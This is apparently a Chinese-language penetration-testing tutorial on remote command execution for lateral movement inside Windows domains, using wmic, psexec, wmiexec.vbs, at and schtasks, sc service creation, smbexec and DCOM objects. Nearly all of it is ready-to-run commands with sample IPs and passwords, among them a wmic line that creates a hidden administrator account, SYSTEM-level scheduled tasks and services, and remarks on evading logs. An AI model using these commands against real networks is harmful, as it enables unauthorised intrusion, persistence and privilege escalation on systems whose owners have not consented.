域渗透远程执行命令的几种姿势

域渗透远程执行命令的几种姿势

0x00 vmic

WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows 操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统,攻击者使用 wmi 来进行攻击,但 Windows 系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用 wmic 进行远程执行命令。

常用命令

  1. 在远程系统上执行 bat 脚本

    1
    wmic /node:192.168.72.10 /user:administrator /password:L111111! process call create c:\test.bat
  2. 在远程系统上执行单条命令

    1
    wmic /node:192.168.72.10 /user:administrator /password:L111111 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add

工具说明

  1. 需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
  2. 远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
  3. wmic 会以管理员权限在远程系统上执行命令
  4. 防火墙开启将无法连接
  5. 如果报错 “Invalid Global Switch” ,用双引号把包含-的结点括起来即可正常执行。

0x01 psexec

使用方法

psexec针对远程建立连接的认证方式有两种,一种先建立 ipc 连接,然后直接用 psexec \\192.168.72.10 cmd 命令开启一个半交互式的cmdshell,另一种是在psexec的参数中指定账号密码。

执行原理

  1. 通过ipc连接,释放psexesvc.exe到目标
  2. 通过服务管理SCManager远程创建psexecsvc服务,并启动服务
  3. 客户端连接执行命令,服务端启动相应的程序并执行回显数据

工具说明

注意:

  1. 目标主机第一次运行时,会出现弹框提示。
    解决办法:先执行 psexec /accepteula 即可避免。
  2. 运行完之后记得删除服务。这个在日志中会有记录,而且在少数情况下会出现服务删除不成功!!!
    所以一般不用它。
  3. 需要远程系统开启 ADMIN$ 共享
  4. 建立 ipc 连接后可以不指定用户名和密码

0x02 WMIEXEC

WMI 可以远程执行命令,大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。

WMIEXEC支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

WMIEXEC需要提供账号密码进行远程连接,但是如果没有破解出账号密码,也可以配合WCE的hash注入功能一起使用,先进行hash注入,然后再使用WMIEXEC即可。

半交互式shell模式

1
cscript.exe //nologo wmiexec.vbs /shell IP username password

单个命令执行的模式

1
cscript.exe wmiexec.vbs /cmd IP username password "command"

0x03 at&schtasks计划任务

net use + at

建立ipc连接

1
net use \\目标IP\ipc$ password /user:username

拷贝文件到远程系统

1
copy 文件 \\目标IP\c$

查看远程主机当前时间

1
net use \\目标IP

添加计划任务在远程系统上执行命令

1
at \\目标IP 时间 cmd.exe /c "ipconfig /all >c:ip.log"

添加计划任务在远程系统上执行bat脚本

1
at \\目标IP 时间 c:test.bat

查看at任务列表

1
at \\目标IP

删除at计划任务,运行完成后一定要删除计划任务!

1
at \\目标IP 1 /delete

查看所有ipc连接

1
net use

删除指定ipc连接

1
net use \\目标IP\ipc$ /del

删除所有ipc连接(删除前记得确认是否都是自己测试中建立的连接)

1
net use * /del /y

schtasks

常用命令

在远程系统建立计划任务(计划运行时会以 system 权限在远程系统上执行单条命令)

1
schtasks /create /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn test /sc onstart /tr "cmd.exe /c netstat -ano | findstr 3389 >> c:\programdata\error.log" /ru system /f

在远程系统建立计划任务(计划运行时会以 system 权限在远程系统上执行 bat 脚本)

1
schtasks /create /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn test /sc onstart /tr c:\programdata\test.bat /ru system /f

在远程系统建立计划任务(计划运行时会以管理员权限在远程系统上执行单条命令),注:这条命令不支持 hash 注入后省去用户名密码执行

1
schtasks /create /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn test /sc onstart /tr "cmd.exe /c whoami /all >> c:\programdata\error.log" /ru  workgroup\administrator"

查看建立的计划任务是否正确

1
schtasks /query /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" | findstr test

运行建立的计划任务

1
schtasks /run /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /i /tn "test"

删除建立的计划任务

1
schtasks /delete /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn "test" /f

注意:
工具需要远程系统启动 Task Scheduler 服务,schtasks 不需要 RPC 服务的支持,在条件允许的情况下,尽量使用 schtasks,因为在某些条件下,at 执行完任务后,任务信息没有删除(需要手动删除),用at命令查不到任务信息,但是用 schtasks 却能看到任务信息,任务名是At加一个数字。

0x04 SC添加服务远程执行命令

常用命令

建立 ipc 连接后,上传等待运行的 bat 脚本到目标系统上,创建服务(开启服务时会以system 权限在远程系统上执行 bat 脚本)

1
sc \\192.168.17.138 create test binpath= "cmd.exe /c start c:\programdata\test.bat"

开启服务,运行其它命令可以直接修改 bat 脚本内容

1
sc \\192.168.17.138 start test

删除服务

1
sc \\192.168.17.138 delete test

0x05 smbexec

smbexec 是基于 psexec 修改的程序,加入了参数来指定默认共享,可以在目标为开启 admin$ 共享但开了其它共享时使用。

常用命令

建立 ipc 连接后,上传 execserver.exe 到远程系统上

1
copy execserver.exe \\192.168.17.138\c$\windows

在远程系统上执行单条命令(以管理员权限执行命令)

1
test.exe 192.168.17.138 Administrator !@#123QWE "whoami /all" c$

在远程系统上执行单条命令

1
test.exe 192.168.17.138 test !@#123QWE "whoami /all" c$

在远程系统上执行 bat 脚本(以管理员权限执行命令)

1
test.exe 192.168.17.138 Administrator !@#123QWE c:\programdata\test.bat ipc$

删除远程系统上的 execserver.exe

1
del \\192.168.17.138\c$\windows\execserver.exe

0x06 利用DCOM在远程系统执行程序

DCOM使用介绍

获得DCOM的程序列表

powershell命令

1
Get-CimInstance Win32_DCOMApplication

注意:
Get-CimInstance 只适用于Powershell 3.0及以上,Win7默认为2.0不支持,可使用以下替代命令:

1
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

当然,直接使用wmic查询也可以,代码如下:

1
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_DCOMApplication  GET /all /FORMAT:list

powershell对WMI的调用可使用wmic命令进行替换,详情可参考:

https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/

对本机测试

管理员权限,powershell代码如下:
获得”MMC20.Application”支持的操作

1
2
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView | Get-Member

查看ExecuteShellCommand对应的参数说明

1
$com.Document.ActiveView.ExecuteShellCommand

ExecuteShellCommand 对应的参数具体含义可参考以下链接:

https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx

通过ExecuteShellCommand执行程序

1
2
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

对远程系统测试

调用MMC20.Application

1
2
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.72.10"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

win7查看后台程序列表

调用’9BA05972-F6A8-11CF-A442-00A0C90A8F39’

1
2
3
4
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.0.2")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

注意:

以上两种方式适用于Win7-Win10